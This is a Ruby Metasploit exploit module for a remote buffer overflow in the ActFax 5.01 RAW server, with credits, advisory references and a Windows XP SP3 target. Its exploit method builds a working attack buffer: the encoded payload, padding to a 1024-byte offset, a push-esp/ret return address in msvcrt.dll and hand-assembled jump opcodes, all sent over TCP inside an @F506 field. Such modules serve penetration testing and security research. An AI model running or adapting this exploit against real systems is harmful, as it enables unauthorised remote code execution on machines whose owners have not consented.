Brent Cook
81 lines
2.5 KiB
Ruby
81 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ActFax 5.01 RAW Server Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW
|
|
Server can be used to transfer fax messages without any underlying protocols. To
|
|
note significant fields in the fax being transferred, like the fax number or the
|
|
recipient, ActFax data fields can be used. This module exploits a buffer overflow
|
|
in the handling of the @F506 fields due to the insecure usage of strcpy. This
|
|
module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Craig Freyman', # @cd1zz # discovery and Metasploit module
|
|
'corelanc0d3r', # Metasploit module
|
|
'juan vazquez' # Metasploit module cleanup
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '89944' ],
|
|
[ 'BID', '57789' ],
|
|
[ 'EDB', '24467' ],
|
|
[ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => (0x00..0x1f).to_a.pack("C*") + "\x40",
|
|
'DisableNops' => true,
|
|
'Space' => 1024,
|
|
'EncoderOptions' =>
|
|
{
|
|
'BufferRegister' => 'ECX'
|
|
}
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'ActFax 5.01 / Windows XP SP3',
|
|
{
|
|
'Ret' => 0x77c35459, # push esp # ret # msvcrt.dll
|
|
'Offset' => 1024
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Feb 5 2013',
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
p = payload.encoded
|
|
buffer = p
|
|
buffer << rand_text(target['Offset'] - p.length)
|
|
buffer << [target.ret].pack("V")
|
|
buffer << "\x89\xe1" # mov ecx, esp
|
|
buffer << "\x81\xC1\xFC\xFB\xFF\xFF" # add ecx, -1028
|
|
buffer << "\x81\xC4\x6C\xEE\xFF\xFF" # add esp, -4500
|
|
buffer << "\xE9\xE9\xFB\xFF\xFF" # jmp $-1042
|
|
print_status("Trying target #{target.name}...")
|
|
sock.put("@F506 "+buffer+"@\r\n\r\n")
|
|
disconnect
|
|
end
|
|
end
|
|
|